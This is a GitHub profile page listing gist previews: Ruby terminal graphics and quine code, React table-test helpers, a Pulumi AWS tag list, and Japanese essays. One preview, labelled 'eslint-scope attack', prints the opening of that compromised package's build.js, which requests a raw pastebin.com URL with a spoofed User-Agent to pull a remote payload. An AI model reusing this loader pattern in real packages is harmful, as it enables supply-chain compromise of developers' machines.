Skip to content

Instantly share code, notes, and snippets.

View ypresto's full-sized avatar
🏠
Working from home

Yuya Tanaka ypresto

🏠
Working from home
View GitHub Profile
@tompng
tompng / canvas.rb
Last active September 16, 2023 19:13
`ruby main.rb` sixel対応の端末で動きます(iTerm2とか) (https://github.com/tompng/sixel_canvas へ移動)
require_relative 'sixel'
class Canvas
TERMINAL_CLEAR_SCREEN = "\e[H\e[2J"
TERMINAL_CURSOR_RESET = "\e[H"
attr_reader :width, :height, :pixels, :color, :line_width
def initialize(width, height, colors: nil, antialias: 3)
@width = width
@height = height
@tompng
tompng / y.rb
Created December 28, 2021 23:37
eval(c =%w@i=
1;c=('e val(c=%
w'+64.ch r+(c.spl
it(w=35.c hr)[0].su
b(/[0-9]/) {(_1.to_i+
1)%7}+w)*3) .chars;s=(4
...41).map{ |y|(2...43)
.map{|x|p=" 000080010c6
hd6j100c62d 62562g6hi6h
i6j4e209001 0g6h909i6j"
@enagy27
enagy27 / tables.test.tsx
Last active February 14, 2024 22:35
React testing library table queries
import React from 'react';
import { render } from '@testing-library/react';
import { queryAllByTableHeader } from './tables';
describe('table testing utils', () => {
it('test', () => {
render(
<div role="region" aria-labelledby="caption-id">
<table>
@stewartnoll
stewartnoll / awsResourcesWithTags.ts
Last active February 2, 2020 14:31
[Pulumi]: AWS Resources that support Tags
/**
* A list of all AWS resources that support tags.
*
* Generated with the help of:
* grep -rl 'public readonly tags!' <path-to-pulumi-aws-repo>/sdk/nodejs/
* | xargs grep 'public static readonly __pulumiType'
* | awk '{print $7}'
* | sed 's/.$/,/'
*/
@hzoo
hzoo / build.js
Created July 12, 2018 19:20
eslint-scope attack
try {
var https = require("https");
https
.get(
{
hostname: "pastebin.com",
path: "/raw/XLeVP82h",
headers: {
"User-Agent":
"Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0",
def is_nil?(value)
result = true
value&.__id__(result = false)
result
rescue
result
end
TracePoint.new(:line) do |tp|
p tp
@shyouhei
shyouhei / gist:266178ffedab5767a5b69b972c76f88a
Created September 27, 2017 07:31
優秀なプログラマーになるためのコツ

優秀なプログラマーになるためのコツ

重要な順で

優秀なプログラマーになるには非常に長い時間がかかるという現実を直視すべし

優秀なプログラマーというのは寝ている間に異世界に召喚されて無双するのとはわけが違うんですよ。

自分の例で言うとプログラミングを始めた中学生の時から優秀なプログラマだったかって、そんなわけない。みんなヘッポコからスタートしているに決まってるわけです。以来二十余年、地道に生き恥を晒し続けてきた結果として、現在いちおう業界の末席を汚すところまで来ている。このプロセスから目を背けるべきではないです。優秀なプログラマーに生まれる人間なんかいない。優秀なプログラマーに「育つ」んだし、それには時間が必要。今日から無双したいと思うな。

@shunirr
shunirr / criminal_jc.md
Last active February 26, 2024 05:51
女子中学生チケット詐欺事件

criminal_jc

@atsushieno
atsushieno / community code of conduct.md
Last active April 12, 2023 23:52
Community Code of Conduct日本語訳

これは https://communitycodeofconduct.com/ の日本語訳です。これ自体は各コミュニティでテンプレートとして使用することが期待されるものですが、特定のコミュニティを対象とする(つまり具体的な名宛人がいる)ものではありません。


コミュニティ行動規範

このコミュニティの全メンバーが、以下の行動規範に従う必要があります。このコミュニティの全メンバーが、いかなるイベントにおいても、オーガナイザーによる協力のもと、この行動規範を遵守することが求められています。私たちは、このコミュニティの全ての参加者が、誰にとっても安全な環境を保障するために、協力し合うことを期待しています。

助けが必要ですか?